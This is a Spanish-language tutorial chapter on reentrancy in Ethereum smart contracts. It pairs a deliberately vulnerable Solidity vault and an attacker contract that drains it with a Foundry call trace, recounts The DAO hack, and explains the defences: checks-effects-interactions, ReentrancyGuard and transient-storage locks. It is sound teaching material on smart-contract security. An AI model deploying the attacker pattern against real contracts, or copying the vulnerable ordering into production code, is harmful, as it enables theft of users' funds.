Ethereum: de historia a labs
Artículo 21 de 48
44%
completado al llegar aquí
Sistemas distribuidosNota de investigación15 min de lectura
Reentrancy: la llamada externa que muerde de vuelta
Reentrancy paso a paso: por qué una llamada externa cede el control, cómo se drena un vault, qué enseñó The DAO y cómo defender con CEI y nonReentrant.
Ruta Ethereum: 0/48
Prerequisitos recomendados
Si alguno de estos conceptos todavía está medio nebuloso, empieza por aquí. Te ahorra tropiezos y un par de cejas fruncidas.
Testing serio: unit, fork, fuzz e invariantes
Unit, fuzz, invariant y fork tests en Foundry: qué evidencia da cada uno, cómo escribir handlers y ghost variables, y un bug real que solo encuentra el fuzzer.
Blockchain15 min de lectura→Frontier, Homestead y The DAO: la red aprendió con golpes
De Frontier a Spurious Dragon: qué cambió Homestead, cómo se drenó The DAO, qué hizo el fork del bloque 1,920,000 y por qué nació EIP-155.
Blockchain13 min de lectura→
En un backend con Node o Java, cuando tu servicio llama a otro por HTTP, el otro servicio no puede volver a entrar a la función que lo llamó a mitad de ejecución y encontrar tus variables a medio actualizar. En la EVM sí puede. Cuando un contrato envía ether o llama a otro contrato, le entrega el control de la ejecución, y ese otro contrato puede llamar de vuelta al primero antes de que termine.
A eso se le llama reentrancy o reentrada. No es un bug exótico: es una consecuencia directa de cómo funcionan las llamadas entre contratos. Este capítulo muestra la traza completa de un ataque, ejecutada con Foundry, y las defensas que la cortan.
Brújula de lectura
Actor, evidencia y estado
Actor
Contrato receptorCualquier dirección con código que recibe una llamada o ether puede ejecutar lógica propia.
Evidencia
Traza de llamadas anidadasforge test -vvvv muestra la misma función entrando varias veces en una transacción.
Estado
Saldo aún no actualizadoLa ventana entre la interacción externa y la escritura del efecto.
Preguntas guía
- ¿Qué parte del estado de tu contrato está a medio actualizar en el momento en que haces una llamada externa?
- ¿Por qué enviar ether a una dirección puede ejecutar código?
- ¿Qué protege el patrón checks-effects-interactions y qué no protege?
- ¿Por qué un guard
nonReentranten una función no protege automáticamente a las demás? - ¿Qué otras funciones, además de un retiro de ether, entregan el control a un tercero?
Traza de ejecución: cómo un vault entrega el control
La documentación de Solidity lo dice sin rodeos: cualquier interacción de un contrato A con un contrato B, y cualquier transferencia de ether, entrega el control a B, y B puede llamar de vuelta a A antes de que la interacción termine. [1]
¿Por qué enviar ether ejecuta código? Cuando un contrato recibe ether sin datos de llamada, se ejecuta su función receive o, si no existe, su fallback. Con addr.call{value: x}(""), el emisor reenvía todo el gas restante, sujeto a la regla de 63/64, así que el receptor puede hacer operaciones caras, incluida una nueva llamada al emisor. [1]
Este vault comete el error clásico: envía el dinero y recién después pone el saldo en cero. El código es ilustrativo y vulnerable a propósito:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
// VULNERABLE: interacción antes del efecto. No usar.
contract VulnerableVault {
mapping(address => uint256) public balanceOf;
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balanceOf[msg.sender];
require(amount > 0, "nothing to withdraw");
(bool ok, ) = msg.sender.call{value: amount}(""); // 1. interacción
require(ok, "transfer failed");
balanceOf[msg.sender] = 0; // 2. efecto, tarde
}
}El atacante es un contrato cuyo receive vuelve a llamar withdraw mientras el vault tenga fondos:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IVault {
function deposit() external payable;
function withdraw() external;
}
contract Attacker {
IVault public immutable vault;
constructor(IVault _vault) {
vault = _vault;
}
function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw();
}
receive() external payable {
if (address(vault).balance >= msg.value) {
vault.withdraw(); // reentrada: el saldo todavía no es cero
}
}
}Contraejemplo ejecutado: 1 ether depositado, 11 retirados
Ejecutamos el ataque en un test de Foundry 1.5.1: otros usuarios depositan 10 ether en el vault y el atacante deposita 1. Al terminar la transacción, el vault quedó en cero y el contrato atacante tenía 11 ether. Con forge test -vvvv, la traza muestra withdraw y receive alternándose once veces, cada una anidada dentro de la anterior. Este es un extracto recortado de esa salida:
Attacker::attack{value: 1000000000000000000}()
├─ VulnerableVault::deposit{value: 1000000000000000000}()
├─ VulnerableVault::withdraw()
│ ├─ Attacker::receive{value: 1000000000000000000}()
│ │ ├─ VulnerableVault::withdraw()
│ │ │ ├─ Attacker::receive{value: 1000000000000000000}()
│ │ │ │ ├─ VulnerableVault::withdraw()
│ │ │ │ │ └─ ... (8 niveles más)La clave está en el estado. Cada withdraw anidado lee balanceOf[attacker], y el valor sigue siendo 1 ether porque ninguna llamada llegó todavía a la línea que lo pone en cero. Esas escrituras ocurren al final, cuando la pila de llamadas se desarma, y para entonces el dinero ya salió. Escribir cero once veces no deshace nada.
Reentrancy: la misma llamada, dos órdenes de operaciones
Cómo leer esta figura
Dos diagramas de secuencia lado a lado, cada uno con una línea de vida para el Vault y otra para el Atacante. Izquierda, titulado vulnerable, interacción antes del efecto: el atacante llama withdraw; el vault lee saldo igual a 1; el vault hace call con value 1 al atacante; se ejecuta receive; el atacante llama withdraw otra vez; el vault lee saldo igual a 1 todavía, marcado en rojo; el vault vuelve a enviar 1, y así sucesivamente. Nota: saldo igual a 0 se escribe recién cuando la pila de llamadas se desarma. Derecha, titulado CEI, efecto antes de la interacción: el atacante llama withdraw; el vault lee 1 y escribe saldo igual a 0; el vault envía 1; se ejecuta receive; el atacante llama withdraw otra vez; el vault lee saldo igual a 0 y revierte. Nota: la reentrada ve el estado ya actualizado; nonReentrant la bloquea antes.
Historia: The DAO y los "recursive call bugs"
El caso más citado es The DAO, en 2016. El 17 de junio de ese año, Vitalik Buterin publicó en el blog de la Ethereum Foundation que un atacante estaba drenando ether de The DAO hacia una "child DAO", y pidió a los autores de contratos tener mucho cuidado con los "recursive call bugs", el nombre que entonces recibía este tipo de reentrada. [2]
La respuesta fue un hard fork. El 20 de julio de 2016, el mismo blog informó que el bloque 1920000 contenía un cambio de estado irregular que transfirió unos 12 millones de ETH desde los contratos de la "Dark DAO" y la "Whitehat DAO" a un contrato de recuperación. [3] El capítulo sobre Frontier, Homestead y The DAO cuenta las consecuencias para la red. Aquí importa la lección de código: el bug no estaba en la EVM, sino en el orden de las operaciones de un contrato.
Invariante de defensa: checks, effects, interactions
La defensa principal es una regla de orden llamada checks-effects-interactions (CEI). Primero se validan las condiciones (checks). Después se escriben todos los cambios de estado (effects). Recién al final se hacen llamadas a otros contratos o envíos de ether (interactions). La documentación de Solidity la presenta como la forma habitual de prevenir reentrancy. [1]
Expresado como invariante: en el momento de cualquier llamada externa, el estado del contrato debe ser consistente, como si la transacción terminara ahí. Si un tercero vuelve a entrar, debe encontrar un estado que ya refleja la operación en curso.
La segunda capa es un guard de reentrada. ReentrancyGuard de OpenZeppelin agrega el modificador nonReentrant, que revierte si la ejecución ya está dentro de una función protegida. Como hay un solo guard por contrato, dos funciones nonReentrant no pueden llamarse entre sí. [4] El vault corregido usa las dos capas; en nuestro test, el mismo atacante provoca un revert y el vault conserva sus 10 ether:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeVault is ReentrancyGuard {
mapping(address => uint256) public balanceOf;
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balanceOf[msg.sender]; // checks
require(amount > 0, "nothing to withdraw");
balanceOf[msg.sender] = 0; // effects
(bool ok, ) = msg.sender.call{value: amount}(""); // interactions
require(ok, "transfer failed");
}
}¿Por qué no usar transfer, que solo entrega 2300 gas al receptor? Durante años fue un consejo común. La documentación de Solidity advierte que ese stipend no basta para modificar storage, pero también que puede cambiar en futuros hard forks. [1] Una defensa que depende de un precio de gas no es una invariante; además, un límite de gas rompe a receptores legítimos como multisigs.
Transient storage: el guard más barato
Un guard clásico guarda una bandera en storage, y escribir storage es caro. EIP-1153 agregó los opcodes TLOAD y TSTORE: un almacenamiento que se comporta como storage pero se descarta al final de cada transacción. La propia EIP menciona los locks de reentrada como caso de uso. [5]
En Solidity, el almacenamiento transitorio requiere la versión de EVM Cancun o posterior. La documentación muestra un modificador nonReentrant con una variable bool transient locked y aclara que si un frame revierte, sus escrituras transitorias también se revierten. [6] OpenZeppelin ofrece ReentrancyGuardTransient desde la versión 5.1, y marca la variante basada en storage como deprecada, a reemplazarse por la transitoria en la versión 6.0. [4]
Superficie de reentrada: más allá del retiro de ether
Si solo buscas call{value: ...}, te pierdes la mayoría de los casos reales. La documentación de Solidity insiste en dos puntos: la reentrada no se limita a transferencias de ether, sino a cualquier llamada a otro contrato, y hay que considerar situaciones entre varios contratos, donde el contrato llamado modifica el estado de otro del que dependes. [1]
Tres variantes conviene reconocer por nombre. Cross-function: el atacante no reentra en withdraw, sino en transfer, que comparte el mismo saldo a medio actualizar; un guard puesto solo en withdraw no lo impide. Cross-contract: el estado inconsistente está en otro contrato del sistema. Read-only: una función view devuelve un valor calculado sobre estado intermedio, y otro protocolo lo usa como precio. OpenZeppelin agregó nonReentrantView justamente para bloquear lecturas de estado inconsistente. [4]
Los estándares de tokens también entregan el control. En ERC-721, safeTransferFrom llama a onERC721Received en el destinatario cuando este es un contrato. [7] Ese callback es código del destinatario ejecutándose a mitad de tu transacción.
Dónde buscar reentrada
0 de 6 revisados
El último punto conecta con el capítulo anterior. Foundry tiene una opción de invariantes, call_override, descrita en su referencia como útil para chequeos de reentrada. [8] El test que escribimos aquí, con un actor atacante explícito, sigue siendo la forma más legible de dejar la regresión documentada.
Conexiones dentro de la serie
- Antes: Frontier, Homestead y The DAO: la red aprendió con golpes cuenta el contexto histórico del ataque y del hard fork.
- Antes: Testing serio: unit, fork, fuzz e invariantes da las herramientas para convertir este ataque en una prueba permanente.
- Antes: ERC-721 y ERC-1155: propiedad, metadata y safe transfers explica los callbacks de safe transfer que abren superficie de reentrada.
- Después: Access control: owner, roles, multisig y timelocks aborda la otra gran familia de fallas: quién puede llamar qué.
- Más adelante: Cómo auditar un contrato sin jugar al checklist teatral integra la búsqueda de reentrada en una revisión completa.
Bibliografía académica
- [1]
Solidity Team, "Security Considerations: Reentrancy," Solidity Documentation.
Define reentrancy, muestra el ejemplo vulnerable con call, el patrón checks-effects-interactions, el stipend de 2300 gas y la advertencia sobre situaciones entre varios contratos.
- [2]
V. Buterin, "CRITICAL UPDATE Re: DAO Vulnerability," Ethereum Foundation Blog, Jun. 17, 2016.
Anuncio contemporáneo del ataque a The DAO, propuesta de soft fork y advertencia sobre recursive call bugs.
- [3]
V. Buterin, "Hard Fork Completed," Ethereum Foundation Blog, Jul. 20, 2016.
Bloque 1920000, transferencia de unos 12 millones de ETH al contrato WithdrawDAO y estado del fork.
- [4]
OpenZeppelin, "Utilities," OpenZeppelin Contracts 5.x API Reference.
ReentrancyGuard, nonReentrant, nonReentrantView, ReentrancyGuardTransient (desde v5.1) y deprecación del guard basado en storage para v6.0.
- [5]
A. Akhunov and M. Salem, "EIP-1153: Transient storage opcodes," Ethereum Improvement Proposals, no. 1153, Jun. 2018.
TLOAD (0x5c) y TSTORE (0x5d); almacenamiento descartado al final de la transacción; locks de reentrada como caso de uso.
- [6]
Solidity Team, "Transient Storage," Solidity Documentation, Contracts.
Data location transient, requisito de EVM Cancun, ejemplo de lock de reentrada y semántica ante revert, CALL y DELEGATECALL.
- [7]
W. Entriken, D. Shirley, J. Evans, and N. Sachs, "ERC-721: Non-Fungible Token Standard," Ethereum Improvement Proposals, no. 721, Jan. 2018.
safeTransferFrom invoca onERC721Received en el destinatario y exige el valor de retorno mágico.
- [8]
Foundry Contributors, "Testing," Foundry Book, Config reference.
Opción [invariant] call_override: reemplaza llamadas externas inseguras durante invariantes, útil para chequeos de reentrada.
Rutas vecinas
Si este tema te abrió hambre, sigue por aquí.
Series y labs que comparten área o dependen de esta ruta. Pocas opciones, para no convertir la curiosidad en menú infinito.
Series relacionadas
HotStuff: de cero a estado del arte
Ruta progresiva para entender consenso BFT moderno: quórums, sincronía parcial, locks, taxonomía one/two/three-chain, QC/highQC, multipipeline, view-change, responsiveness, AggQC, Fast-HotStuff, sync y frontera DAG-BFT.
Substrate: del runtime al consenso propio
Serie de 20 capítulos, de neófito a experto, sobre Substrate (Polkadot SDK): runtime en Wasm, FRAME, extrinsics, estado, pesos, actualizaciones sin fork, Aura, BABE, GRANDPA, sincronización, parachains, XCM, Sassafras, BEEFY y cómo conectar un consenso BFT propio a un nodo.
Ruta práctica: activos digitales en la operación
Nueve módulos, de menor a mayor dependencia, para decidir cómo usar custodia, wallets, llaves, firmas multifirma y MPC, AML/KYT y stablecoins con Fireblocks, BitGo, Kaleido, Circle y Tether.
Labs para convertir lectura en práctica
Prueba de trabajo y reajuste de dificultad
Laboratorio determinista para medir el costo de la prueba de trabajo y ver cómo el reajuste por altura de bloque estabiliza el tiempo entre bloques.
Consensus benchmark
Banco reproducible para comparar consenso BFT y documentar los trade-offs de HotStuff-2.
Ethereum local: Anvil, wallet y primera transacción
Laboratorio base para levantar una red local, crear cuentas, firmar transacciones y observar receipts sin gastar ETH real.
RPC y Cast: leer Ethereum con lupa
Ejercicios con JSON-RPC y Cast para consultar bloques, nonces, gas, receipts, logs y errores reproducibles.
Sigue leyendo
Ideas conectadas con este artículo
Una ruta corta para continuar sin abrir veinte pestañas y perder el hilo.
Cómo auditar un contrato sin jugar al checklist teatral
Playbook de auditoría: threat model, invariants, severity, report, reproducciones y límites de una revisión.
ERC-20: simple por fuera, tramposo por dentro
Token fungible, balances, transfers, approvals, allowances y riesgos comunes del estándar ERC-20.
Proxies y upgrades: cambiar el motor con el auto andando
Delegatecall, transparent proxies, UUPS, storage collisions y gobernanza de upgrades.
Testing serio: unit, fork, fuzz e invariantes
Cómo probar contratos con unit tests, fork tests, fuzzing e invariants antes de confiar en un deploy.